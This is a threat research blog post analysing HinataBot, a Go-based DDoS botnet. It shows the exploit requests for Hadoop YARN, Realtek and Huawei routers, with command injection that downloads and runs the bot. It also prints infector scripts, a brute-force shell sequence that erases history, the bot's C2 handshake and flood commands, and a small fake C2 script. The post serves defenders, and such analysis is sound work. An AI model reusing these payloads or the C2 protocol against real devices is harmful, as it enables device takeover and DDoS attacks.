Need cloud computing? Get started now

Uncovering HinataBot: A Deep Dive into a Go-Based Threat

Akamai Wave Blue

Written by

Chad Seaman, Larry Cashdollar, and Allen West

March 16, 2023

Chad Seaman headshot

Written by

Chad Seaman

Chad Seaman is a Principal Security Researcher and Team Lead of Akamai’s Security Intelligence Response Team. He proudly refers to himself as an “Internet Dumpster Diver,” and enjoys looking through the muck and mire he finds there. Chad began his career as a programmer, and after being exposed to security, exploitation, and forensics via breach investigations, security quickly became his preferred work. He now spends his time engulfed in malware investigations, reverse engineering, vulnerability research, DDoS, and cybercrime investigations. He likes flying airplanes, poking holes in paper at a distance, and spending time in nature, preferably in the woods, on a trail, or on a dirt bike.

Larry Cashdollar

Written by

Larry Cashdollar

Larry W. Cashdollar has been working in the security field as a vulnerability researcher for more than 20 years and is currently a Principal Security Researcher on the Security Intelligence Response Team at Akamai. He studied computer science at the University of Southern Maine. Larry has documented more than 300 CVEs and has presented his research at BotConf, BSidesBoston, OWASP Rhode Island, and DEF CON. He enjoys the outdoors and rebuilding small engines in his spare time.

Allen West

Written by

Allen West

Allen West is a Security Researcher on Akamai's Security Intelligence Response Team who loves investigating threats and building tools. He is currently pursuing his master's degree in Information Security and Assurance from Carnegie Mellon University. He received his undergraduate degree in Cybersecurity from Northeastern University, and he is a Marine Corps veteran. During his free time, Allen loves to travel, hike, swim — anything outdoors and adventurous.

By continuing to explore and analyze evolving threats such as HinataBot, we can better understand the tactics, techniques, and procedures of attackers to develop more robust defenses against them.

Editorial and additional contributions by Tricia Howard

Executive summary

  • Akamai researchers on the Security Intelligence Response Team (SIRT) have discovered a new Go-based, DDoS-focused botnet. The malware appears to have been named “Hinata” by the malware author after a character from the popular anime series, Naruto. We are calling it “HinataBot.” 

  • HinataBot was seen being distributed during the first three months of 2023 and is actively being updated by the authors/operators. 

  • The sample was discovered in HTTP and SSH honeypots abusing old vulnerabilities and weak credentials. 

  • Infection attempts observed include exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers (CVE N/A). 

  • Through a combination of reverse engineering the malware and imitating the command and control (C2) server, we were able to get a deep look into how the malware works and what is unique about its resulting attack traffic.

Introducing, HinataBot

HinataBot is Go-based malware that the security researchers on Akamai’s SIRT recently found within HTTP and SSH honeypots. This particular sample stood out due to its large size and the lack of specific identification around its newer hashes. The malware binaries appear to have been named by the malware author after a character from the popular anime series, Naruto, with file name structures such as  “Hinata-<OS>-<Architecture>”.

HinataBot is the newest in the ever-growing list of emerging Go-based threats that includes botnets such as GoBruteForcer and the recently discovered (by SIRT) kmsdbot. Go has been leveraged by attackers to reap the benefits of its high performance, ease of multi-threading, its multiple architecture and operating system cross-compilation support, but also likely because it adds complexity when compiled, increasing the difficulty of reverse engineering the resulting binaries.

HinataBot employs various methods of communication, including both dialing out and listening for incoming connections, and has been observed with distributed denial-of-service (DDoS) flooding attacks that utilize protocols such as HTTP, UDP, TCP, and ICMP to send traffic. However, in the latest version, HinataBot has narrowed down its attack methods to only HTTP and UDP attacks.

HinataBot’s infection campaigns

The distribution methods observed were a mix of infection scripts and full payloads using two primary vulnerabilities: a Hadoop YARN RCE (Figure 1) and exploitation of a vulnerability in the miniigd SOAP service within Realtek SDK devices (CVE-2014-8361; Figure 2).

  /ws/v1/cluster/apps	

{"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64 && chmod +x hinata-linux.amd64 && ./hinata-linux.amd64 &"}}, "application-type": "YARN"}

Fig. 1: Payload distribution through a Hadoop YARN RCE

  /picsdesc.xml	

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf *; wget http://xxx.xxx.xxx.xxx/bins/hinata-linux.mips`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Fig. 2: Payload distribution through CVE-2014-8361

These attacks occurred on multiple days between January 11 and January 16, 2023. The attackers used multiple versions of infector scripts, which were updated over time. Among these scripts, the two primary ones were named 'wget.sh' (Figure 3) and 'tftp.sh' (Figure 4), reflecting the respective protocols used to fetch the appropriate payload.

  cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;

Fig. 3: Infector script wget.sh using wget to download payload

  cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-aix.ppc64 hinata-aix.ppc64; chmod +x hinata-aix.ppc64; ./hinata-aix.ppc64; rm -rf hinata-aix.ppc64;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.386 hinata-android.386; chmod +x hinata-android.386; ./hinata-android.386; rm -rf hinata-android.386;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; ftpget -v -u anonymous -p anonymous -P 21 xxx.xxx.xxx.xxx hinata-android.amd64 hinata-android.amd64; chmod +x hinata-android.amd64; ./hinata-android.amd64; rm -rf hinata-android.amd64;

Fig. 4: Infector script tftp.sh using ftp to download payload

In the SSH honeypots, the attackers employed brute-force tactics, attempting common username and password combinations. Once successfully logged in, the attackers opened a shell and proceeded to execute the actions in Figure 5.

  cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xxx.xxx.xxx.xxx/wget.sh; curl -O http://xxx.xxx.xxx.xxx/wget.sh; chmod 777 *; tftp -g xxx.xxx.xxx.xxx -r wget.sh; tftp xxx.xxx.xxx.xxx -c get wget.sh; tftp -r wget.sh -g xxx.xxx.xxx.xxx;  sh wget.sh; tftp -g xxx.xxx.xxx.xxx -r tftp.sh; tftp xxx.xxx.xxx.xxx -c get tftp.sh; tftp -r tftp.sh -g xxx.xxx.xxx.xxx; chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://xxx.xxx.xxx.xxx/wget.sh; busybox curl -O http://xxx.xxx.xxx.xxx/wget.sh; busybox chmod 777 *; busybox tftp -g xxx.xxx.xxx.xxx -r wget.sh; busybox tftp xxx.xxx.xxx.xxx -c get wget.sh; busybox tftp -r wget.sh -g xxx.xxx.xxx.xxx; sh wget.sh; busybox tftp -g xxx.xxx.xxx.xxx -r tftp.sh; busybox tftp xxx.xxx.xxx.xxx -c get tftp.sh; busybox tftp -r tftp.sh -g xxx.xxx.xxx.xxx; busybox chmod 777 *; sh tftp.sh; rm -rf *.sh; history -c;

Fig. 5: Shell script attempting to download payload in Cowrie honeypots

The HinataBot malware was distributed as Go binaries, which were designed to run on various architectures and operating systems. This trend of malware authors developing specialized payloads for multiple platforms has become increasingly common in recent years (Figure 6), likely due to ease of cross-compilation, as well as Internet of Things (IoT) and small office/home office devices running less common CPU architectures, which has been shown to be a landscape ripe with targets.

  http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm64
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-openbsd-mips64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-386
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-plan9-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-solaris-amd64
http://xxx.xxx.xxx.xxx/bins/hinata-windows-386.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-amd64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm5
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm6
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm64.exe
http://xxx.xxx.xxx.xxx/bins/hinata-windows-arm7
http://xxx.xxx.xxx.xxx/bins/hinata-linux.amd64

Fig. 6: Payloads in the various OS and architecture combinations

By utilizing the distribution IP as a pivot, we were able to identify two additional IPs that were previously used for distribution. In each case, the pivot IP was used as a proxy. Further analysis revealed that, prior to developing their own Go-based malware, the attackers had attempted to distribute a generic Mirai variant, which was UPX-packed and used a less identifiable name (Figure 7).

  tftp://xxx.xxx.xxx.xxx/tftp.sh
http://xxx.xxx.xxx.xxx/wget.sh
tftp://xxx.xxx.xxx.xxx/wget.sh
http://xxx.xxx.xxx.xxx/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86

Fig. 7: Various infector scripts and generic Mirai binary

The first attempts at malware distribution came as early as December 2022, and used very different infector scripts (Figure 8). These earlier scripts may have been an initial test run by the authors to gauge the effectiveness of their tactics and tooling.

  # Hinata
# Get the Kernel Name
# wget http://xxx.xxx.xxx.xxx/infect.sh && chmod +x infect.sh && ./infect.sh && rm -rf infect.sh
Kernel=$(uname -s)
case $Kernel in
  Linux) Kernel="linux" ;;
  Darwin) Kernel="darwin" ;;
  Windows) Kernel="windows" ;;
  Android) Kernel="android" ;;
  FreeBSD) Kernel="freebsd" ;;
  Dragonfly) Kernel="dragonfly" ;;
  OpenBSD) Kernel="openbsd" ;;
  NetBSD) Kernel="netbsd" ;;
  Solaris) Kernel="solaris" ;;
  *) echo "Your Operating System -> ITS NOT SUPPORTED" ; exit 1 ;;
esac
# Get the machine Architecture
Architecture=$(uname -m)
case $Architecture in
  x86) Architecture="x86" ;;
  ia64) Architecture="ia64" ;;
  i?86) Architecture="x86" ;;
  amd64) Architecture="amd64" ;;
  x86_64) Architecture="amd64" ;;
  sparc64) Architecture="sparc64" ;;
  i386) Architecture="i386" ;;
  arm64) Architecture="arm64" ;;
  arm7) Architecture="arm" ;;
  armc) Architecture="arm" ;;
  386) Architecture="386" ;;
  mips) Architecture="mips" ;;
  mipsle) Architecture="mipsle" ;;
  mips64) Architecture="mips64" ;;
  mips64le) Architecture="mips64le" ;;
  ppc64) Architecture="ppc64" ;;
  ppc64le) Architecture="ppc64le" ;;
  s390x) Architecture="s390x" ;;
  riscv64) Architecture="riscv64" ;;
  *) echo "Your Architecture '$Architecture' -> ITS NOT SUPPORTED." ; exit 1 ;;
esac
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; 
wget http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture; 
curl -O http://xxx.xxx.xxx.xxx/bins/hinata-$Kernel-$Architecture;
chmod +x *; 
./hinata-$Kernel-$Architecture;

Fig. 8: Legacy infection scripts

Furthermore, we were able to identify another vulnerability that the attackers abused to distribute earlier versions of their infector scripts (Figure 9). This vulnerability, CVE-2017-17215, affects Huawei HG532 routers and allows for arbitrary remote code execution.

  /ctrlt/DeviceUpgrade_1	
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://xxx.xxx.xxx.xxx/KKveTTgaAAsecNNaaaa/KKveTTgaAAsecNNaaaa.mips; chmod 777 *; ./KKveTTgaAAsecNNaaaa.mips)>NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Fig. 9: Leveraging CVE-2017-17215 to infect Huawei HG532 routers

The threat actors behind HinataBot have been active since at least December 2022, but only began developing their own malware in mid-January 2023. Since then, we have observed multiple iterations of the malware and various pivots in infection techniques. The primary IP utilized for distribution and command and control (C2) connections has a history of participation in spam and malware distribution. It’s not entirely clear at this point if the IP is malicious by design, or just compromised and being abused. 

Mirai influences

As previously stated, the actors behind HinataBot originally distributed Mirai binaries, a well-known malware family that started targeting IoT devices, was open sourced, and has continued to be adopted by various actors and groups (and evolved as a result). Mirai now accounts for multiple variants and botnets built by multiple authors, actors, and groups. 

While looking at historical DNS records, we can see that as recently as February 2023 the IP most recently associated with HinataBot was resolving for the domain “hihi.mirailovers.pw” (Figure 10).

While looking at historical DNS records, we can see that as recently as February 2023 the IP most recently associated with HinataBot was resolving for the domain “hihi.mirailovers.pw” (Figure 10). Fig. 10: Historical DNS resolves

There have been numerous public attempts to rewrite Mirai in Go, and HinataBot appears to follow a similar structure to some of these attempts. For example, the way HinataBot sets up communication in its main method and the way it parses commands and begins attacks in its attack methods resemble the structure used in other Go-based Mirai variants. 

It's worth noting that HinataBot is still in its development stage and evolving. As such, it's difficult to predict how the malware will change and what it might look like going forward. 

The first look

We initially attempted to reach out to the most recent distribution IP, but although it was pingable, we were unable to download the sample directly from the server. This may indicate that the attackers have implemented a protective mechanism or that they remove the samples after distribution, making it more difficult to obtain them outside of a direct attack. In older campaigns from the same actors, we observed seemingly randomized name patterns (see Figure 9).

Fortunately, we were able to get our hands on a sample through our automated analysis tooling that had stored one for us at time of initial infection. We downloaded both the MIPS32 and x86-64 versions from our malware repository and began static analysis. The binaries were both  written in Go, but they were relatively friendly to work with, as they were uncorrupted, unpacked, and unstripped (Figure 11). Versions of the binaries in the days leading up to this publication have since been stripped, which will make reversing more challenging going forward.

  $ file hinata
hinata: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, Go BuildID=gfgPbqdcg0-yRmHHtXPR/IBS6ZkQMVMHVV2qxav1B/EFvlrym6DccdYqeOZ5d7/cclENKTkTyznOj0NvSFl, not stripped

Fig. 11: Running the ‘file’ command on Hinata

Initially, we began analyzing a two-month-old HinataBot malware sample (Figure 12), but we later became aware of a newer sample (Figure 13) that had been released on the same day that we’d discovered the malware in our logs. We subsequently pivoted to analyzing the newer sample instead. 

The primary distinction between the two versions is that the newer sample has been streamlined and features more modular functionality. Additionally, the newer sample includes a few basic security measures that were not present in the original version. We will delve into these differences in greater detail in a later section of this post.

  hinata-linux-mips
5.98 MB
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d

Fig. 12: HinataBot sample from January, 2023

  hinata-linux-mips
4.49 MB
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da

Fig. 13: HinataBot sample from March, 2023

During our analysis, several functions immediately stood out as noteworthy. Three distinct attack functions caught our eye immediately: sym.main.startAttack, sym.main.http_flood, and sym.main.udp_flood (Figure 14). The naming of these functions suggests that the malware was intended for launching DDoS attacks.

Three distinct attack functions caught our eye immediately: sym.main.startAttack, sym.main.http_flood, and sym.main.udp_flood (Figure 14). Fig. 14: Attack functions being discovered

Further analysis of the malware uncovered references to the C2 communications, which provided additional hints that HinataBot was part of a DDoS-oriented botnet-building campaign (Figure 15). 

Further analysis of the malware uncovered references to the C2 communications, which provided additional hints that HinataBot was part of a DDoS-oriented botnet-building campaign (Figure 15). Fig. 15: First reference to a C2 server

Mapping the C2 communications

To understand how the HinataBot malware establishes a connection to its C2, we worked backward from the string "Connection to CNC is OK!" and began searching for cross-references to the string (Figure 16). This process enabled us to map out the mechanism by which the malware communicates with its C2.

To understand how the HinataBot malware establishes a connection to its C2, we worked backward from the string "Connection to CNC is OK!" and began searching for cross-references to the string (Figure 16). Fig. 16: Looking for cross-references to successful connection string

Our investigation eventually led us to the C2 server for HinataBot listening on TCP/1420 on the same IP the malware was distributed from during the infection campaign (Figure 17). 

Our investigation eventually led us to the C2 server for HinataBot listening on TCP/1420 on the same IP the malware was distributed from during the infection campaign (Figure 17). Fig. 17: Discovering the command and control server

Another discovery from looking through the assembly code was the references to an API used for connections (“API_CONNECTION_ATTACK”), as well as numerous possible commands to issue back to the infected device that we were eager to try out (Figure 18).

Another discovery from looking through the assembly code was the references to an API used for connections (“API_CONNECTION_ATTACK”), as well as numerous possible commands to issue back to the infected device that we were eager to try out (Figure 18). Fig. 18: First reference to an API

At this point we were confident that the sample we had would connect back to the distribution/C2 server to notify the C2 that the bot is up and running and await commands, but the C2 server was now offline. 

One interesting observation is that HinataBot also opens up a listening port of its own on TCP/61420 (Figure 19). As our primary goal of this research was to better understand the attack traffic this botnet can generate, we didn’t spend much time delving into this capability as it seemed out of scope. 

We did, however, note that the timing differences of this listener are dependent on successful connectivity to the C2. In instances when a C2 is successfully contacted, this listener will die after three minutes. In cases where the C2 could not be reached, this port remains listening with no apparent time limit. Additional research will need to be conducted on this port to fully understand what capabilities it enables for the operators; for example, whether it is some kind of peer-to-peer functionality or possibly an update/control/recovery capability. We can not provide a definitive answer at the time of this writing.

Additional research will need to be conducted on this port to fully understand what capabilities it enables for the operators; for example, whether it is some kind of peer-to-peer functionality or possibly an update/control/recovery capability. Fig. 19: HinataBot opens a listening port on 0.0.0.0:61420

Talking to HinataBot

In the next phase of our investigation, we deliberately infected several machines and created a C2 server to analyze HinataBot's interactions, security measures, and traffic patterns. We’ll briefly cover some of the processes and observations made during the reversing of HinataBot.

HINATA_START_NICE

As noted earlier, the newer HinataBot sample included some basic security measures that were absent in previous versions. The first such measure was a password requirement. Upon executing the sample, the first thing that one notices is an uncaught exception. The resulting error message makes this pretty clear (Figure 20). 

The resulting error message makes this pretty clear (Figure 20). Fig. 20: HinataBot requires a password to run

Upon closer examination of the error message, we discovered that the sample required an additional argument to be passed at execution. While passing literally anything into this argument will get you past the uncaught exception, HinataBot will just exit gracefully. From here, it became obvious we needed to go back to the disassembly to see what HinataBot might be looking for in this argument.

From here, it became obvious we needed to go back to the disassembly to see what HinataBot might be looking for in this argument. Fig. 21: Password checking in HinataBot at run time

We searched through the malware sample and eventually identified the 17-character (0x005fe3d2) string "HINATA_START_NICE" (0x005fe3d8) used in a sym.runtime.memequal call (0x005fe3e0) that would fail and cause the malware to flow through to a ret instruction, killing the execution (Figure 21). We used this string as an argument when running the sample, which allowed execution to progress into more interesting code.

Interestingly, the Naruto anime character named Hinata starts out as a peaceful and gentle character before becoming a fierce fighter, something the malware authors may be alluding to when using the "HINATA_START_NICE" argument, before the malware will communicate back to its C2 and participate in launching attacks.

It is worth noting that this password requirement was not present in the older HinataBot malware samples from January 2023; therefore most of the infection scripts we encountered did not include this argument. However, upon closer review after discovering this requirement we were able to track down their newer infection scripts (Figure 22), which did pass the argument to the binaries at time of infection. This would have been handy to know beforehand.

  #!/bin/bash
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-aix-ppc64; chmod +x hinata-aix-ppc64; ./hinata-aix-ppc64 HINATA_START_NICE; rm -rf hinata-aix-ppc64;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-386; chmod +x hinata-android-386; ./hinata-android-386 HINATA_START_NICE; rm -rf hinata-android-386;
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://xxx.xxx.xxx.xxx/bins/hinata-android-amd64; chmod +x hinata-android-amd64; ./hinata-android-amd64 HINATA_START_NICE; rm -rf hinata-android-amd64;

Fig. 22: New infection script using the password

Go.123+Strings-456.Are_789-Weird

Our analysis of the HinataBot sample revealed a large number of very long plaintext strings embedded within the binary. Go utilizes a unique approach in storing string literals by placing them in a contiguous block of memory known as a "string table" or "string intern pool." 

As a result, when running the strings command or disassemblers on a Go binary, the output may appear as a confusing jumble of characters, making it difficult to distinguish between individual strings in the table (Figure 23).

As a result, when running the strings command or disassemblers on a Go binary, the output may appear as a confusing jumble of characters, making it difficult to distinguish between individual strings in the table (Figure 23). Fig. 23: An example Go string, with instances of “API_CONNECTION” highlighted

This technique differs from other programming languages, which typically store null-terminated byte strings. Without these trailing null bytes, tooling continues reading a discovered string until it encounters a null byte. This makes a simple analysis of strings a touch more challenging.  

Looking at cross-references from code segments into the string table address segments can help identify where individual strings in the larger table begin. Typically, you can also identify their length being loaded into a register before or after the string is loaded or as part of a function call that will utilize the string slice being referenced (Figure 24). It takes some getting used to, but it’s pretty straightforward once you get comfortable with the convention.

Typically, you can also identify their length being loaded into a register before or after the string is loaded or as part of a function call that will utilize the string slice being referenced (Figure 24). Fig. 24: Mapping string table entries with cross-references from code segments

Talk to me, Goose

With a means of satisfying the password requirement in place, our attention turned to establishing a connection to the C2 server. In a similar manner to how we discovered the password, we were able to identify the necessary components of the handshake protocol required to establish a connection to the C2 server, which was down at the time of this research/writing. 

Using netcat to listen on port 1420, we then patched the binary to use an IP we controlled as the C2 server. Once connected, we then sent the proper triggers to the infected device, staging it for attack participation (Figure 25). 

Using netcat to listen on port 1420, we then patched the binary to use an IP we controlled as the C2 server. Once connected, we then sent the proper triggers to the infected device, staging it for attack participation (Figure 25). Fig. 25: Sample HinataBot handshake session from C2’s perspective

The handshake consisted of an initial connection, followed by the bot sending an “API_CONNECTION_BOT [os]/[architecture] [hostname]“ message. The bot then expects a API_CONNECTION_SIGNAL_OK message back from the C2 server, which would stage the bot to listen for incoming commands (Figure 26). With the handshake out of the way, we send the API_CONNECTION_ATTACK: signal to initiate attacks. 

The bot then expects a API_CONNECTION_SIGNAL_OK message back from the C2 server, which would stage the bot to listen for incoming commands (Figure 26). Fig. 26: Sample HinataBot handshake session from bot’s perspective

We created a very simple C2 server in order to automate the maintenance of this connection and allow us to modify and send a command stored in a text file without needing to modify code, which allowed for very easy and rapid testing (Figure 27). This saved us quite a bit of time over the course of this research.

  #!/usr/bin/env python
from pwn import *
import time
l = listen(1420)
l.wait_for_connection()
time.sleep(1)
l.send(b'API_CONNECTION_SIGNAL_OK')
while True:
    data = l.recv()
    if data: 
        print(time.time(), data)
        if data == b'API_CONNECTION_SIGNAL_CHECK':
            continue
    else:
        print(time.time(), 'no data recv\'d')
    cmdf = open('cmd.txt','r')
    cmdt = cmdf.read()
    cmdf.close()
    if cmdt == "":
        cmdt = b'API_CONNECTION_SIGNAL_OK'
    print(time.time(), 'SENT:', cmdt)
    l.send(cmdt)

Fig. 27: Recreated C2 for maintaining connection to infected node

Although these interactions with HinataBot were interesting enough, our ultimate goal was always to observe the malware in action, and to see what its attack traffic looked like on the wire when directed at targeted systems. With the basic C2 communications set up, we now began to delve into the attack command, processing logic and mapping out the attack command structures.

HinataBot stops being nice

The newest version of this malware has two primary attack methods: HTTP and UDP. The older version contained these two, as well as attack methods leveraging ICMP and TCP floods. It is unclear why these methods were removed.

To get a closer look at the actual attack traffic, we used our makeshift C2 server to maintain the connection as the bot sent heartbeats to us. This way, we could focus just on the attack commands, and not have to worry about maintaining a connection to the infected device.

After extensive analysis and testing, we were finally able to map out the structure and fields needed to start launching attacks and begin capturing packets on the wire. The malware author leverages multiple Go conventions like anonymous functions, goroutines, channels, worker pools, and wait groups, making reversing a bit more tricky. Ultimately, after quite a bit of testing, we’d figured out the attack command structure (Figure 28).

  API_CONNECTION_ATTACK: [ATTACK_TYPE] [TARGET] [DURATION] [UDP_OPTIONS]

Fig. 28: Attack command structure

The basic command structure, once finally mapped, is very straight forward. Attack commands always start with API_CONNECTION_ATTACK: followed by three required fields, the ATTACK_TYPE, the TARGET, and the attack DURATION. For the udp_flood there is a fourth attack UDP_OPTIONS field, as well; this field is also required when issuing a udp_flood attack because of how command checking occurs, but, oddly, it doesn’t need to be valid at all.

Attack type 0: http_flood

The http_flood command doesn’t appear to utilize additional options parameters like the udp_flood attack does. As it relies on the native net.http Go library, most of the configuration and options parsing for this attack comes directly from Go library itself and is controlled via the TARGET directive. 

In the attack command in Figure 29, we’re issuing an http_flood (type 0) attack directed at 127.127.127.127 on TCP/31337 that will last 10 seconds. The path, port, GET parameters, and protocol are all deduced from this target directive. If no port is provided, it will default to TCP/80.

  API_CONNECTION_ATTACK: 0 http://127.127.127.127:31337/asdf?a=GETA&b=GETB 10 

Fig. 29: Attack command structure for an http_flood attack

As mentioned previously, this binary leans on Go’s own net.http library to conduct its attacks.The bot creates a worker pool of 512 workers via Goroutines, and each worker creates its own net.http.Request object. In Figure 30, we can see a bit of how this works from inside an individual worker.

In Figure 30, we can see a bit of how this works from inside an individual worker.  Fig. 30: Screenshot of http_flood configuring headers

First, a new Context object and a new RequestWithContext Class are created. This Context object will be populated with HTTP Headers that will be used during the attack by the RequestWithContext class. Some of these headers are static, while others are randomized. In Figure 30 you can see the Rand Seed and Intn calls; these are used to select a random User-Agent from a list of 10 static user-agents hard coded within the binary. We’ll talk about which headers to look for below as we analyze the traffic coming out of the malware during an http_flood attack.

  GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Linux; Android 10; JSN-L21) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: hTjpyhseGCbpyADUlXRyQgvTmHfrr
Keep-Alive: 20319
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: ljwAbmstAHTcIeqkyIZVgRmJpibg
Keep-Alive: 20456
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB
GET /asdf?a=GETA&b=GETB HTTP/1.1
Host: 127.127.127.127:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Charset: ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15
Accept-Encoding: *,identity,gzip,deflate
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data, application/x-url-encoded
Cookies: YnBsbIPmklTccQrcLXZeFFUJAHMa
Keep-Alive: 20084
Referer: http://127.127.127.127:31337/asdf?a=GETA&b=GETB

Fig. 31: 3 http_flood sample attack requests

Let’s touch on some important observations from the HTTP headers captured during simulated attack events. There are several fairly obvious values here for fingerprinting, both in static and randomized fields. Defenders should look at this sample traffic, but for fear of helping the author actually improve attack capabilities, we’re hesitant to highlight exactly why this traffic is likely easy to spot and block for defenders. Without providing too much help to the malware author, we can say that a lot of the payload is fairly static, in size, order, and value. Some fields are randomized — these fields include User-Agent (from a list of 10 static user-agents), Keep-Alive, and Cookies headers. Defenders should also look closely at the Host and Referrer headers in the sample traffic in Figure 31. It’s worth noting that if the attack command does not specify a target port in the target directive, it will default to TCP/80 or TCP/443, and the port will not be included in either header.

  API_CONNECTION_ATTACK: 0 https://user:pass@127.0.0.1/ouch 120 

Fig. 32: Attack command structure for a more configured http_flood attack

It’s also worth noting that since the Go net.http.Client is leveraged, configuration of this attack type is done via the target directive, and will support anything that the (well-rounded and very capable) library does. This includes HTTPS, redirection following, domain resolution, HTTP auth headers, etc. In the attack command in Figure 32 the move to https:// causes the built in library to utilize TLS, target port 443, and since we included the user:pass@ in the target directive, the traffic will also include a Authorization: Basic dXNlcjpwYXNz header as well.

As of this writing, it appears that the attack requests method is hard coded and therefore limited to HTTP GET requests … for now.

Attack type 1: udp_flood

The udp_flood attack command structure requires all fields outlined previously, even if the option supplied doesn’t exist (Figure 33). In analysis and testing, we were able to identify a single option field, which is used to control the targeted port. If no option is passed, the binary fails to parse the attack command; in some cases, passed values via this field even crash the bot.

  API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337 

Fig. 33: Attack command structure for a udp_flood attack

This attack command looks slightly different than the http_flood variant, mostly due to the UDP_OPTIONS value passed (1531337) in the final parameter. This parameter controls the targeted port that the UDP packets will be sent to. The value is actually three parts, the first part is the parameter type (1), the second is the length (5) of the value, and the third is the value itself (31337). 

It seems like this fourth parameter is required for command parsing, but the value can be discarded, and if no port value is supplied here, the binary will default to UDP/80 as the target port of the attack. Initially, there was an assumption that since this data is passed in this manner, we would find other additional configuration parameters for 1-9, but it seems that only the port parameter (1) has any effect on attack traffic exiting the bot.

The screenshot in Figure 34 shows the setup of the udp_flood socket. It utilizes Go’s net library using net.Dial to create the UDP socket. Fig. 34: Screenshot of udp_flood attack function

